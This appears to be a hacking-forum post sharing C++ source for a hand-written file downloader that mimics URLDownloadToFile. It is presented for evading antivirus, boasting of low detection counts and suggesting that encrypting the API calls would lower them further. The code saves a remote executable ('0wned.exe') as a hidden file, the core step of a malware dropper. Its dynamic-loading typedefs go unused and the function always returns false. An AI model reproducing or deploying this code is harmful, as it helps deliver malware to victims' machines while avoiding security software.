[C++] URLDownloadToFile

[Gonzalez]

URLDownloadToFile

------------------------

Here is source to URLDownloadToFile written manually, function by function. 3/24 detections, if you crypt all API's it will be 1/24.

typedef PVOID HINTERNET ;  

typedef HINTERNET (WINAPI *InetOpenA)(LPCTSTR , char* ,char*,char* ,char* ); //InterNetOpenA
typedef HINTERNET (WINAPI *InetOpenUrlA) (HINTERNET, LPCSTR, char* ,char* ,char* ,char* ); //InternetOpenUrlA
typedef BOOL (WINAPI *InetReadFile) (HINTERNET, LPVOID , DWORD , LPDWORD); //InternetReadFileA
typedef HANDLE (WINAPI *CreatFile) (LPCTSTR,int,int,int,int,int,int); //CreateFileA
typedef BOOL (WINAPI *WritFile) (HANDLE,LPCVOID,int,LPDWORD,int); //WriteFileA

bool D_File(char* FromHere)
{
    HINTERNET            InternetHandle;
    HINTERNET            UrlHandle;
    HANDLE                FileHandle;
    unsigned long        BytesNext = 1;
    unsigned long        BytesWritten = 0;
    char                Buffer[2048];

char *SaveFile = "X:\\File.ext"; //File Destination

// Opening page, with File Save Destination
    InternetHandle = InternetOpen(SaveFile, 0, 0, 0, 0);

    if(InternetHandle != 0)
    {
        UrlHandle = InternetOpenUrl(InternetHandle, FromHere, 0, 0, 0, 0);  //Connectin to your File
        FileHandle = CreateFile(SaveFile, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0); //Creating File to spec. Destination, with File Attributes.

            while(BytesNext != 0)
            {
                InternetReadFile(UrlHandle, Buffer, sizeof(Buffer), &BytesNext);
                WriteFile(FileHandle, Buffer, BytesNext, &BytesWritten, 0);  //Writing bytes to File
            }

            CloseHandle(FileHandle);
            CloseHandle(UrlHandle);
            CloseHandle(InternetHandle);

    }

    return false;
}


//Usage::

int main() {
    D_File("http://detectionzer0.com/0wned.exe"); //Your URL Here
return 0;
}